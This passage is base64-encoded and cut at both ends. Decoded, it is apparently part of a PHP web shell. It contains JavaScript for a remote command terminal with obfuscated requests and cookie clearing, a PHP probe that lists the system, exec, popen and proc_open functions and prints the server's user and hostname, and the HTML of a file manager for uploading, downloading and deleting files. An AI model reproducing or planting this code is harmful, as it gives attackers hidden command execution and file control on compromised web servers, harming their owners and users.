OiAndCcsCiAgICAgcDogdmFsCiAgICB9LCBlbG1CeUlkKCdzbGN0VHJtQ1MnKS52YWx1ZSk7CiAgIH0KICB9CiB9CiBmcm0uZS52YWx1ZSA9ICcnOwogcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBvbkV4ZWMoZGl2LCBkYXRhKSB7CiB2YXIgY21kID0gZGl2LmNoaWxkTm9kZXNbMV0udGV4dENvbnRlbnQuc2xpY2UoMCwgLTIpOwogaWYgKGRhdGEgPT09ICdceDAzXHgxRScpIHJldHVybiB1aUNobmdNc2coZGl2LCAnRXJyb3IgaW4gY29tbWFuZDogJyArIGNtZCwgJ0VycicpOwogZGF0YSA9IGRhdGEuc2xpY2UoMCwgLTMpOwogdmFyIHBvcyA9IGRhdGEubGFzdEluZGV4T2YoJ1x4MDNceDFFXHgwMlx4MEEnKTsKIGlmIChwb3MgPiAtMSkgewogIHZhciBpbmYgPSBkYXRhLnNsaWNlKHBvcyArIDQpLnNwbGl0KCdcbicsIDMpOwogIGVsbUJ5SWQoJ3NwblVzckhzdCcpLnRleHRDb250ZW50ID0gaW5mWzBdICsgJ0AnICsgaW5mWzFdOwogIGVsbUJ5SWQoJ3NwblB0aCcpLnRleHRDb250ZW50ID0gaW5mWzJdOwogIGRhdGEgPSBkYXRhLnNsaWNlKDAsIHBvcyk7CiB9IGVsc2UgZGF0YSArPSAnXG4nOwogaWYoZWxtQnlJZCgnY2JJVCcpLmNoZWNrZWQpewoJZWxtQnlJZCgnZGl2VHJtJykuYXBwZW5kKGVsbUJ5SWQoJ3ByZVRybScpKTsKCWVsbUJ5SWQoJ3ByZVRybScpLnRleHRDb250ZW50ID0gY21kICsgJ1xuJyArIGRhdGEgKyAnXG4nICsgZWxtQnlJZCgncHJlVHJtJykudGV4dENvbnRlbnQ7CiB9CiBlbHNlewoJZWxtQnlJZCgnZGl2VHJtJykucHJlcGVuZChlbG1CeUlkKCdwcmVUcm0nKSk7CgllbG1CeUlkKCdwcmVUcm0nKS50ZXh0Q29udGVudCArPSBjbWQgKyAnXG4nICsgZGF0YSArICdcbic7Cglwb3MgPSBlbG1CeUlkKCdkaXZUcm0nKTsKCXBvcy5zY3JvbGxUb3AgPSBwb3Muc2Nyb2xsSGVpZ2h0OwogfQogdWlEZWxNc2coZGl2KTsKfQoKZnVuY3Rpb24gdHJtU2F2ZVN0YXRlKCkgewogaWYgKGV4ZUZ1bmNzLmxlbmd0aCA9PT0gMCkgcmV0dXJuOwogdmFyIGUgPSBlbG1CeUlkKCdmcm1Ucm0nKTsKIHN0cmdTYXZlU3RyKCd0cm1TaGVsbCcsIGUucy52YWx1ZSk7CiBzdHJnU2F2ZUJvb2woJ3RybVNpbGVudCcsIGUuaC5jaGVja2VkKTsKIHN0cmdTYXZlT3B0KCd0cm1GdW5jJywgZS5mLnZhbHVlKTsKIHN0cmdTYXZlT3B0KCd0cm1Mb2FkQXMnLCBlLmMudmFsdWUpOwogc3RyZ1NhdmVPcHQoJ3RybVNlbmRBcycsIGVsbUJ5SWQoJ3NsY3RUcm1DUycpLnZhbHVlKTsKIHN0cmdTYXZlU3RyKCd0cm1QYXRoJywgZWxtQnlJZCgnc3BuUHRoJykudGV4dENvbnRlbnQpOwogc3RyZ1NhdmVBcnIoJ3RybUhpc3QnLCB0cm1IaXN0KTsKfQoKZnVuY3Rpb24gdHJtUmVzdG9yZVN0YXRlKCkgewogdmFyIGNudCA9IGV4ZUZ1bmNzLmxlbmd0aDsKIGlmIChjbnQgPT09IDApIHsKICBlbG1CeUlkKCd0YWJUcm0nKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogIHJldHVybjsKIH0KIHZhciBmcm0gPSBlbG1CeUlkKCdmcm1Ucm0nKSwKICB2YWwgPSBzZXNzaW9uU3RvcmFnZS5nZXRJdGVtKCd0cm1GdW5jJykgfCAwOwogZm9yICh2YXIgaSA9IDA7IGkgPCBjbnQ7ICsraSkgewogIHZhciBvcHQgPSBuZXcgT3B0aW9uKGV4ZUZ1bmNzW2ldWzFdLCBleGVGdW5jc1tpXVswXSk7CiAgaWYgKGV4ZUZ1bmNzW2ldWzBdID09PSB2YWwpIG9wdC5zZWxlY3RlZCA9IHRydWU7CiAgZnJtLmYuYWRkKG9wdCk7CiB9CiBlbG1CeUlkKCdzcG5Vc3JIc3QnKS50ZXh0Q29udGVudCA9IGV4ZUZ1bmNzWzBdWzJdOwogdmFsID0gc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbSgndHJtUGF0aCcpOwogZWxtQnlJZCgnc3BuUHRoJykudGV4dENvbnRlbnQgPSB2YWwgPT09IG51bGwgPyBleGVGdW5jc1swXVszXSA6IHZhbDsKIHN0cmdSc3RyVmFsKCd0cm1TaGVsbCcsIGZybS5zKTsKIHN0cmdSc3RyQ2hjaygndHJtU2lsZW50JywgZnJtLmgpOwogc3RyZ1JzdHJWYWwoJ3RybVNlbmRBcycsICdzbGN0VHJtQ1MnKTsKIHN0cmdSc3RyVmFsKCd0cm1Mb2FkQXMnLCBmcm0uYyk7Cn0KCmZ1bmN0aW9uIHVpVXBkSW5mKGNobGQpIHsKIHZhciBkaXYgPSBlbG1CeUlkKCdkaXZJbmZvJyk7CiBkaXYucmVtb3ZlQ2hpbGQoZGl2Lmxhc3RDaGlsZCk7CiBkaXYuYXBwZW5kQ2hpbGQoY2hsZCk7Cn0KCmZ1bmN0aW9uIG9uSW5mTWFpbihkaXYsIGRhdGEpIHsKIHZhciB0YmwgPSBuZXdFbG0oJ3RhYmxlJywgewogIGlkOiAndGJsSW5mJwogfSk7CiBmb3IgKHZhciBpID0gMCwgbCA9IGRhdGEubGVuZ3RoOyBpIDwgbDsgKytpKSB7CiAgaWYgKGkgPiAwKSB0YmwuaW5zZXJ0Um93KC0xKS5hcHBlbmRDaGlsZChuZXdFbG0oJ3RoJywgewogICBjb2xTcGFuOiAyCiAgfSkpOwogIGZvciAodmFyIGtleSBpbiBkYXRhW2ldKSB7CiAgIHZhciB0ciA9IHRibC5pbnNlcnRSb3coLTEpOwogICB0ci5hcHBlbmRDaGlsZChuZXdFbG0oJ3RoJywgewogICAgdGV4dENvbnRlbnQ6IGtleQogICB9KSk7CiAgIHRyLmluc2VydENlbGwoMSkudGV4dENvbnRlbnQgPSBkYXRhW2ldW2tleV07CiAgfQogfQogdWlVcGRJbmYodGJsKTsKIHVpRGVsTXNnKGRpdik7Cn0KCmZ1bmN0aW9uIG9uSW5mUEhQKGRpdiwgZGF0YSkgewogdmFyIHRibCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RhYmxlJyk7CiB0YmwuaWQgPSAndGJsSW5mJzsKIGZvciAodmFyIHNjdCBpbiBkYXRhKSB7CiAgdmFyIHRyID0gdGJsLmluc2VydFJvdygtMSk7CiAgdHIuYXBwZW5kQ2hpbGQobmV3RWxtKCd0aCcsIHsKICAgY29sU3BhbjogMiwKICAgdGV4dENvbnRlbnQ6IHNjdAogIH0pKTsKICBmb3IgKHZhciBrZXkgaW4gZGF0YVtzY3RdKSB7CiAgIHRyID0gdGJsLmluc2VydFJvdygtMSk7CiAgIHRyLmFwcGVuZENoaWxkKG5ld0VsbSgndGgnLCB7CiAgICB0ZXh0Q29udGVudDoga2V5CiAgIH0pKTsKICAgdHIuaW5zZXJ0Q2VsbCgxKS50ZXh0Q29udGVudCA9IGRhdGFbc2N0XVtrZXldOwogIH0KIH0KIHVpVXBkSW5mKHRibCk7CiB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBhanhTbmQobXNnLCBjbGJjaywgZnJtLCBkYXRhLCBjaHJzdCkgewoJCglSTyA9IGVsbUJ5SWQoJ2NiUk8nKS5jaGVja2VkOwoJUlIgPSBlbG1CeUlkKCdjYlJSJykuY2hlY2tlZDsKCVRNID0gZWxtQnlJZCgnY2JUTScpLmNoZWNrZWQ7CglPSSA9IGVsbUJ5SWQoJ2NiT0knKS5jaGVja2VkOwoJCgkgZnVuY3Rpb24gb2JmdXNjYXRlKGRhdGEpIHsKCSAgaWYgKG9iZktleSA9PT0gZmFsc2UgfHwgZGF0YS5sZW5ndGggPCAyKSByZXR1cm4gZGF0YTsKCSAgdmFyIHIgPSBbXSwKCSAgIGwgPSBkYXRhLmxlbmd0aDsKCSAgZGF0YSA9IGRhdGEuc3BsaXQoJycpOwoJICBmb3IgKHZhciBpID0gMDsgaSA8IGw7ICsraSkgewoJICAgdmFyIGMgPSAoaSAlIDIgPT09IDApID8gZGF0YS5wb3AoKSA6IGRhdGEuc2hpZnQoKTsKCSAgIHIucHVzaChjID09PSBvYmZLZXkgPyAnJyA6IGMpOwoJICB9CgkgIHJldHVybiByLmpvaW4ob2JmS2V5KTsKCSB9OwoJCgkgZnVuY3Rpb24gY2FuY2VsKCkgewoJICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKHJlcUlmcm0pOwoJICB1aURlbE1zZyhtc2dEaXYpOwoJICByZXR1cm4gZmFsc2U7CgkgfTsKCQoJIGZ1bmN0aW9uIG9uUmVzcCgpIHsKCSAgZGVsZXRlQWxsQ29va2llcygpOwoKCSAgbXNnRGl2LmZpcnN0Q2hpbGQub25jbGljayA9IHVpQ2xzTXNnOwoJICB2YXIgZG9jID0gcmVxSWZybS5jb250ZW50RG9jdW1lbnQ7CgkgIHZhciB4ciA9IHJlcUlmcm0uZ2V0QXR0cmlidXRlKCd4cicpOwoJICB2YXIgeGMgPSByZXFJZnJtLmdldEF0dHJpYnV0ZSgneGMnKTsKCSAgdmFyIHJlc3AgPSB4ciA/IHhyIDogZG9jLmJvZHkudGV4dENvbnRlbnQ7CgkgIHZhciBjc2V0ID0geGMgPyB4YyA6IGRvYy5jaGFyYWN0ZXJTZXQ7CgkgIHZhciBkYXRhID0gUk8gPyByZXNwIDogZ2V0VmFsdWUocmVzcCk7CgkgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQocmVxSWZybSk7CgkgIAoJICBpZiAoZGF0YS5zbGljZSgwLCAyKSA9PT0gJ1x4MDFceDAyJykgewoJICAgaWYgKGRhdGEuc2xpY2UoLTMpID09PSAnXHgxN1x4MDRceDEwJyAmJiBkYXRhLmluZGV4T2YoJ1x4MDNceDFFJykpIGRhdGEgPSBkYXRhLnNsaWNlKDIsIC0zKTsKCSAgIGVsc2UgZGF0YSA9IGZhbHNlOwoJICB9IGVsc2UgdHJ5IHsKCSAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpOwoJICB9IGNhdGNoIChlKSB7CgkgICBkYXRhID0gZmFsc2U7CgkgIH0KCSAgaWYgKGRhdGEgPT09IGZhbHNlKSB1aU5ldEVyck1zZyhtc2dEaXYpOwoJICBlbHNlIGlmIChjbGJjaykgY2xiY2suY2FsbChmcm0sIG1zZ0RpdiwgZGF0YSwgY3NldCk7CgkgIGVsc2UgdWlEZWxNc2cobXNnRGl2KTsKCSB9OwoJIAoJIHZhciBtc2dEaXYgPSB1aU1zZyhtc2cpLAoJICBvYmZLZXkgPSBmYWxzZSwKCSAgcmVxSWZybSA9IG5ld0VsbSgnaWZyYW1lJywgewoJICAgc3JjOiAnJywKCSAgIG5hbWU6ICdpZnJtJyArIChuZXcgRGF0ZSgpLmdldFRpbWUoKSkKCSAgfSksCgkgIHJlcUZybSA9IG5ld0VsbSgnZm9ybScsIHsKCSAgIGFjY2VwdENoYXJzZXQ6IChjaHJzdCA/IGNocnN0IDogJ1VURi04JyksCgkgICBhY3Rpb246IHdpbmRvdy5sb2NhdGlvbi5ocmVmLAoJICAgbWV0aG9kOiAncG9zdCcsCgkgICB0YXJnZXQ6IHJlcUlmcm0ubmFtZQoJICB9KSwKCSAgZWxtOwoKCSBpZiAoUk8pIGRhdGEucm8gPSAnMSc7CgkgaWYgKFRNKSBkYXRhLnRtID0gJzEnOwoJIGlmIChvYmZLZXkgIT09IGZhbHNlKSBkYXRhLmsgPSBvYmZLZXk7CgkgZWxtID0gZWxtQnlJZCgnZnJtQ3N0RW52Jyk7CgkgaWYgKGVsbS5lLmNoZWNrZWQgJiYgZWxtLmkudmFsdWUgIT09ICcnKSB7CgkgIGRhdGEuaiA9IFtlbG0uZi52YWx1ZSwgZWxtLnMudmFsdWUsIGVsbS5pLnZhbHVlLCAnJ107CgkgIGlmIChlbG0ubi5jaGVja2VkKSBkYXRhLmpbM10gPSAnbic7CgkgIGlmIChlbG0uYy5jaGVja2VkKSBkYXRhLmpbM10gKz0gJ0MnOwoJIH0KCSBmb3IgKHZhciBrZXkgaW4gZGF0YSkKCSAgaWYgKEFycmF5LmlzQXJyYXkoZGF0YVtrZXldKSkKCSAgIGZvciAodmFyIGkgPSAwLCBjID0gZGF0YVtrZXldLmxlbmd0aDsgaSA8IGM7ICsraSkgcmVxRnJtLmFwcGVuZENoaWxkKG5ld0VsbSgnaW5wdXQnLCB7CgkgICAgdHlwZTogJ2hpZGRlbicsCgkgICAgbmFtZTogUlIgPyBrZXkgKyAnWycrIGkgKyddJyA6IHNldE5hbWUoa2V5ICsgJ1snKyBpICsnXScpLAoJICAgIHZhbHVlOiBSUiA/IGRhdGFba2V5XVtpXTogc2V0VmFsdWUoZGF0YVtrZXldW2ldKQoJICAgfSkpOwoJICBlbHNlIHJlcUZybS5hcHBlbmRDaGlsZChuZXdFbG0oJ2lucHV0JywgewoJICAgdHlwZTogJ2hpZGRlbicsCgkgICBuYW1lOiBSUiA/IGtleSA6IHNldE5hbWUoa2V5KSwKCSAgIHZhbHVlOiBSUiA/IGRhdGFba2V5XSA6IHNldFZhbHVlKGRhdGFba2V5XSkKCSAgfSkpOwoJIGlmIChmcm0pCgkgIGZvciAodmFyIGkgPSBmcm0uZWxlbWVudHMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpIHsKCSAgIGVsbSA9IGZybS5lbGVtZW50c1tpXTsKCSAgIGlmIChlbG0ubmFtZSA9PT0gJycgfHwgZWxtLmRpc2FibGVkKSBjb250aW51ZTsKCSAgIGlmIChlbG0udGFnTmFtZSA9PT0gJ0lOUFVUJykgewoJICAgIGlmICgoZWxtLnR5cGUgPT09ICdjaGVja2JveCcgfHwgZWxtLnR5cGUgPT09ICdyYWRpbycpICYmICFlbG0uY2hlY2tlZCkgY29udGludWU7CgkgICAgaWYgKGVsbS50eXBlID09PSAnZmlsZScpIHsKCQkJaWYoUlIpewoJCSAgICAgcmVxRnJtLmVuY3R5cGUgPSAnbXVsdGlwYXJ0L2Zvcm0tZGF0YSc7CgkJICAgICByZXFGcm0uYXBwZW5kQ2hpbGQoZWxtLmNsb25lTm9kZSh0cnVlKSk7CgkJCX0KCSAgICAgY29udGludWU7CgkgICAgfQoJICAgfQoJICAgaWYgKGVsbS52YWx1ZSAhPT0gJycgfHwgZWxtLnRhZ05hbWUgPT09ICdURVhUQVJFQScpIHJlcUZybS5hcHBlbmRDaGlsZChuZXdFbG0oJ2lucHV0JywgewoJICAgIHR5cGU6ICdoaWRkZW4nLAoJICAgIG5hbWU6IFJSID8gZWxtLm5hbWUgOiBzZXROYW1lKGVsbS5uYW1lKSwKCSAgICB2YWx1ZTogUlIgPyBlbG0udmFsdWUgOiBzZXRWYWx1ZShlbG0udmFsdWUpCgkgICB9KSk7CgkgIH0KCgkgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChyZXFGcm0pOwoJIGFkZEVuY0tleShyZXFGcm0pOwoJIAoJIHN0YXR1cyA9IGZhbHNlOwoJIGlmKENPT0tJRSAmJiByZXFGcm0uZW5jdHlwZSAhPSAnbXVsdGlwYXJ0L2Zvcm0tZGF0YScpewoJCXN0YXR1cyA9IHN1Ym1pdFZpYUNvb2tpZShyZXFGcm0sIGZhbHNlKTsKCQlpZihzdGF0dXMgPT0gJ1NFTkQnKXsKCQkJZWxlbWVudHMgPSByZXFGcm0uY2hpbGROb2RlczsKCQkJd2hpbGUoZWxlbWVudHMubGVuZ3RoKQoJCQkJZm9yKGkgPSAwOyBpIDwgZWxlbWVudHMubGVuZ3RoOyBpKyspCgkJCQkJcmVxRnJtLnJlbW92ZUNoaWxkKGVsZW1lbnRzW2ldKTsKCQkJcmVxRnJtLm1ldGhvZCA9ICdnZXQnOwoJCX0KCQllbHNlCgkJCXJlcUZybS5tZXRob2QgPSAncG9zdCc7CgkgfQoJCgkgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChyZXFJZnJtKTsKCgkgaWYoc3RhdHVzICE9ICdDQU5DRUwnKXsKCQkKCQlpZihPSSAmJiByZXFGcm0ubWV0aG9kID09ICdnZXQnKQoJCQlyZXFJZnJtLnNyYyA9IHJlcUZybS5hY3Rpb247CgoJCWVsc2UgaWYoIWRhdGEuaGFzT3duUHJvcGVydHkoJ2QnKSl7CgkJCXZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCQkJeGhyLm9wZW4ocmVxRnJtLm1ldGhvZCwgJycsIGZhbHNlKTsKCQkJeGhyLnNlbmQobmV3IEZvcm1EYXRhKHJlcUZybSkpOwoJCQlyZXFJZnJtLnNldEF0dHJpYnV0ZSgneHInLCB4aHIucmVzcG9uc2VUZXh0KTsKCQkJcmVxSWZybS5zZXRBdHRyaWJ1dGUoJ3hjJywgeGhyLmdldFJlc3BvbnNlSGVhZGVyKCdjb250ZW50LXR5cGUnKS5zcGxpdCgnPScpWzFdKTsKCQkJcmVxSWZybS5zcmNkb2MgPSAnJzsKCQl9CgkJZWxzZQoJCQkoQ09PS0lFIHx8ICFPSSAmJiByZXFGcm0ubWV0aG9kID09ICdnZXQnID8gd2luZG93LmxvY2F0aW9uLmhyZWYgPSB3aW5kb3cubG9jYXRpb24ucGF0aG5hbWUgOiByZXFGcm0uc3VibWl0KCkpOwoKCQlyZXFJZnJtLm9ubG9hZCA9IG9uUmVzcDsKCSB9CgoJIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQocmVxRnJtKTsJCgkgbXNnRGl2LmZpcnN0Q2hpbGQub25jbGljayA9IGNhbmNlbDsKCSBzZXRUaW1lb3V0KGRlbGV0ZUFsbENvb2tpZXMsIDEwMCk7Ly8gc29ycnkgOigKCQoJIHJldHVybiBmYWxzZTsKfQo8L3NjcmlwdD4KCjxzY3JpcHQgaWQ9ImRhdGFFeGUidHlwZT0idGV4dC9kYXRhIj48P3BocCAkYT1hcnJheSgnc3lzdGVtJywncGFzc3RocnUnLCdiYWNrdGlja3MnLCdzaGVsbF9leGVjJywnZXhlYycsJ3BvcGVuJyk7aWYoUEhQX1ZFUlNJT04+PSc0LjMnKSRhW109J3Byb2Nfb3Blbic7aWYoc2FmZW1vZGUoKSkkYVsxMDFdPSdzYWZlbW9kZSc7LyppZihkZWZpbmVkKCdFWFBfRU9GJykpeyRhWzddPSdleHBlY3Q6Ly8nOyRhWzhdPSdleHBlY3RfcG9wZW4nO30qL2lmKCFOSVgmJmRlZmluZWQoJ0NMU0NUWF9BTEwnKSkkYVsxMF09J2NvbSc7Lyokcz1OSVg/JzsnOicmJzskYz1OSVg/J3B3ZCc6J2NkJzskdz1OSVg/J3dob2FtaSc6J2VjaG8gJXVzZXJuYW1lJSc7Zm9yZWFjaCgkYSBhcyRrPT4kdilleGUoJ2VjaG8gJy4kay4nOicuJHYuJHMuJHcuJHMuJ2hvc3RuYW1lJy4kcy4kYywkaywnJyxGQUxTRSk7Ki9mb3JlYWNoKCRhIGFzICRrID0+ICR2KXtpZihmdW5jdGlvbl9leGlzdHMoJHYpKSBwcmludCAkay4nOicuJHYuIlxuIi5nZXRfY3VycmVudF91c2VyKCkuIlxuIi5nZXRob3N0bmFtZSgpLiJcbiIuX19ESVJfXy4iXG4iO30/Pjwvc2NyaXB0PjwvaGVhZD48Ym9keSBvbmtleWRvd249InVpS2V5RHduKGV2ZW50KSI+PGRpdiBpZD0iZGl2SGRyImNsYXNzPSJkaXZDbnRybHMiPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJDb2xvciBtb2RlIm9uY2xpY2s9InJldHVybiBpbnZlcnRDb2xvcnMoKSI+JmJ1bGw7PC9hPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJSZXNpemUgdmlldyJvbmNsaWNrPSJyZXR1cm4gdWlSc3pCb2R5KCkiPiYjeDIxQzQ7PC9hPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJTZXR0aW5ncyJvbmNsaWNrPSJyZXR1cm4gdWlTaHdNb2RhbCgnZGl2U3RuZ3MnKSI+JiN4MjY5OTs8L2E+PC9kaXY+PGRpdiBpZD0iZGl2Qm9keSI+PHNwYW4gaWQ9InRhYkZNIj48YSBocmVmPSIjdGFiRk0iY2xhc3M9InRhYiI+RmlsZSBNYW5hZ2VyPC9hPjxkaXYgY2xhc3M9InRhYlBhZ2UiaWQ9ImRpdkZNIj48dGV4dGFyZWEgaWQ9InR4dENscGJyZCJ0YWJpbmRleD0iLTEiPjwvdGV4dGFyZWE+PGZvcm0gaGlkZGVuIGlkPSJmcm1VcGwiPjxpbnB1dCB0eXBlPSJmaWxlIm5hbWU9ImZbXSJpZD0iaW5wVXBsIiBvbmNoYW5nZT0idXBsRmlsZXMoKSIvPjwvZm9ybT48Zm9ybSBjbGFzcz0idG9vbGJhciJpZD0iZnJtRk0ib25zdWJtaXQ9InJldHVybiBnb1RvKHRoaXMucC52YWx1ZSkiPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsImlkPSJidG5TcmNoInRpdGxlPSJTZWFyY2guLi4ib25jbGljaz0icmV0dXJuIHVpU2h3RnJtU3JjaCgpIj48L2E+PGJ1dHRvbiB0eXBlPSJidXR0b24idGl0bGU9IkdvIGhvbWUhIm9uY2xpY2s9ImdvVG8oJ34nKSI+fjwvYnV0dG9uPiA8P3BocCBpZighTklYKXskYT1yYW5nZSgnQScsJ1onKTtmb3JlYWNoKCRhIGFzJHYpeyRpPW5ldyBGaWxlSW5mbygkdi4nOlxcJyk7aWYoJGktPmlzRGlyKCkpZWNobyc8YnV0dG9uIHR5cGU9ImJ1dHRvbiJvbmNsaWNrPSJnb1RvKCcsIiciLCR2LCI6XFxcXCciLCcpIj4nLCR2LCc6PC9idXR0b24+Jzt9fT8+IDxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InAidmFsdWU9Ijw/cGhwIGVjaG8gZXNjSFRNTChzZWxmUGF0aCgpKTs/PiIvPjxidXR0b24gdGl0bGU9IkdvISI+Jmd0OzwvYnV0dG9uPjxzcGFuIGNsYXNzPSJzcG5CdG5TYk1uIj48YnV0dG9uIHR5cGU9ImJ1dHRvbiJpZD0iYnRuRmFzdEFjdCJ0aXRsZT0iRmFzdCBhY3Rpb25zLi4uIm9uY2xpY2s9InVpVGdnbFN1Yk1lbnUoZXZlbnQpIm9uYmx1cj0ibWVudUJ1dHRvbkJsdXIodGhpcykiPjxociBjbGFzcz0iYXJ3RHduIi8+PC9idXR0b24+PGRpdiBjbGFzcz0iZGl2U2JNbiJvbmNsaWNrPSJvbkZhc3RBY3RDbGljayhldmVudCkiPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+UHJvcGVydGllczwvYT48YSBocmVmPSIjImNsYXNzPSJhTW5JdG0ib25ibHVyPSJtZW51SXRlbUJsdXIodGhpcykiPkRvd25sb2FkPC9hPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+RGVsZXRlPC9hPjwvZGl2Pjwvc3Bhbj4mbmJzcDsgPHNwYW4gY2xhc3M9InNwbkNocnN0InRpdGxlPSJTZW5kIGFzLi4uIj48aHIgY2xhc3M9ImFyd1VwIi8+IDxzZWxlY3QgaWQ9ImZtQ1NTZW5kIj48P3BocCBmb3JlYWNoKCRDIGFzJHYpZWNobyc8b3B0aW9uPicsJHYsJzwvb3B0aW9uPic7Pz48L3NlbGVjdD48L3NwYW4+PHNwYW4gY2xhc3M9InNwbkNocnN0InRpdGxlPSJMb2FkIGFzLi4uIj48aHIgY2xhc3M9ImFyd0R3biIvPiA8c2VsZWN0IGlkPSJmbUNTTG9hZCI+PD9waHAgZm9yZWFjaCgkQyBhcyRrPT4kdillY2hvJzxvcHRpb24gdmFsdWU9IicsJGssJyI+JywkdiwnPC9vcHRpb24+Jzs/Pjwvc2VsZWN0Pjwvc3Bhbj48L2Zvcm0+PGRpdiBjbGFzcz0ic3ViYmFyIj48YnV0dG9uIHR5cGU9ImJ1dHRvbiJ0aXRsZT0iWW91IGNhbiB1cGxvYWQgbXVsdGlwbGUgZmlsZXMgYXQgb25jZS4uLiJvbmNsaWNrPSJlbG1CeUlkKCdpbnBVcGwnKS5jbGljaygpIj5VcGxvYWQgJiM4MjMwOzwvYnV0dG9uPjxzcGFuIGNsYXNzPSJzcG5CdG5TYk1uIj48YnV0dG9uIHR5cGU9ImJ1dHRvbiJjbGFzcz0iYnRuU2JNbiJvbmNsaWNrPSJ1aVRnZ2xTdWJNZW51KGV2ZW50KSJvbmJsdXI9Im1lbnVCdXR0b25CbHVyKHRoaXMpIj5DcmVhdGUgPGhyIGNsYXNzPSJhcndEd24iLz48L2J1dHRvbj48ZGl2IGNsYXNzPSJkaXZTYk1uIm9uY2xpY2s9Im9uQ3J0TWVudUNsaWNrKGV2ZW50KSI+PGEgaHJlZj0iIyJjbGFzcz0iYU1uSXRtIm9uYmx1cj0ibWVudUl0ZW1CbHVyKHRoaXMpIj5GaWxlPC9hPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+TGluazwvYT48YSBocmVmPSIjImNsYXNzPSJhTW5JdG0ib25ibHVyPSJtZW51SXRlbUJsdXIodGhpcykiPkRpcmVjdG9yeTwvYT48L2Rpdj48L3NwYW4+PHNwYW4gY2xhc3M9InNwbkJ0blNiTW4iPjxidXR0b24gdHlwZT0iYnV0dG9uImNsYXNzPSJidG5TYk1uImlkPSJidG5CdWZmZXJNZW51Im9uY2xpY2s9InVpVGdnbFN1Yk1lbnUoZXZlbnQpIm9uYmx1cj0ibWVudUJ1dHRvbkJsdXIodGhpcykiZGlzYWJsZWQ+QnVmZmVyIDxociBjbGFzcz0iYXJ3RHduIi8+PC9idXR0b24+PGRpdiBjbGFzcz0iZGl2U2JNbiJvbmNsaWNrPSJvbkJ1ZmZlck1lbnVDbGljayhldmVudCkiPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+U2hvdyBmaWxlczxhPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+Q29weSBoZXJlPC9hPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+TW92ZSBoZXJlPC9hPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+RG93bmxvYWQ8L2E+PGEgaHJlZj0iIyJjbGFzcz0iYU1uSXRtIm9uYmx1cj0ibWVudUl0ZW1CbHVyKHRoaXMpIj5DbGVhcjwvYT48L2Rpdj48L3NwYW4+PC9kaXY+PGRpdj48Zm9ybSBpZD0iZnJtRmlsZXMiPjx0YWJsZSBpZD0idGJsRmlsZXMiY29scz0iPD9waHAgZWNobyBOSVg/ODo3Oz8+Im9uY2xpY2s9Im9uVGJsRmlsZXNDbGljayhldmVudCkiPjx0aGVhZD48dHI+PHRoIHdpZHRoPSIyMHB4Ij48aW5wdXQgdHlwZT0iY2hlY2tib3gib25jbGljaz0idWlDaGVja0FsbCgnRmlsZXMnLCB0aGlzLmNoZWNrZWQpIi8+PC90aD48dGg+TmFtZTwvdGg+PHRoIHdpZHRoPSI2NXB4Ij5FeHQ8L3RoPjx0aCB3aWR0aD0iMTA1cHgiPlNpemU8L3RoPjx0aCB3aWR0aD0iMTQ1cHgiPk1vZGlmaWVkIChVVEMpPC90aD48dGggd2lkdGg9Ijk1cHgiPlBlcm1pc3Npb248L3RoPiA8P3BocCBpZihOSVgpez8+PHRoIHdpZHRoPSIxNTVweCI+T3duZXI8L3RoPjw/cGhwIH0/PiA8dGggd2lkdGg9IjY1cHgiPkFjdGlvbnM8L3RoPjwvdHI+PC90aGVhZD48dGZvb3Q+PHRyPjx0aCBjb2xzcGFuPSI8P3BocCBlY2hvIE5JWD84Ojc7Pz4iPjxidXR0b24gdHlwZT0iYnV0dG9uIm9uY2xpY2s9ImR3bkZpbGVzKGdldFNsY3RkRmlsZXMoKSkiPkRvd25sb2FkPC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24ib25jbGljaz0icHJwc1NsY3RkRmlsZXMoKSI+UHJvcGVydGllczwvYnV0dG9uPjxidXR0b24gdHlwZT0iYnV0dG9uIm9uY2xpY2s9Im1hcmtTbGN0ZEZpbGVzKCkiPk1hcms8L2J1dHRvbj48YnV0dG9uIHR5cGU9ImJ1dHRvbiJvbmNsaWNrPSJkZWxGaWxlcyhnZXRTbGN0ZEZpbGVzKCkpIj5EZWxldGU8L2J1dHRvbj48L3RoPjwvdHI+PC90Zm9vdD48L3RhYmxlPjwvZm9ybT48L2Rpdj48dGVtcGxhdGUgaWQ9InRtcGxGaWxlc1RCb2R5Ij48dGJvZHk+PHRyPjx0aCBjb2xzcGFuPSI8P3BocCBlY2hvIE5JWD84Ojc7Pz4iY2xhc3M9InRoUHRoIj48L3RoPjwvdHI+PHRyPjx0ZCBjbGFzcz0idGRVcCI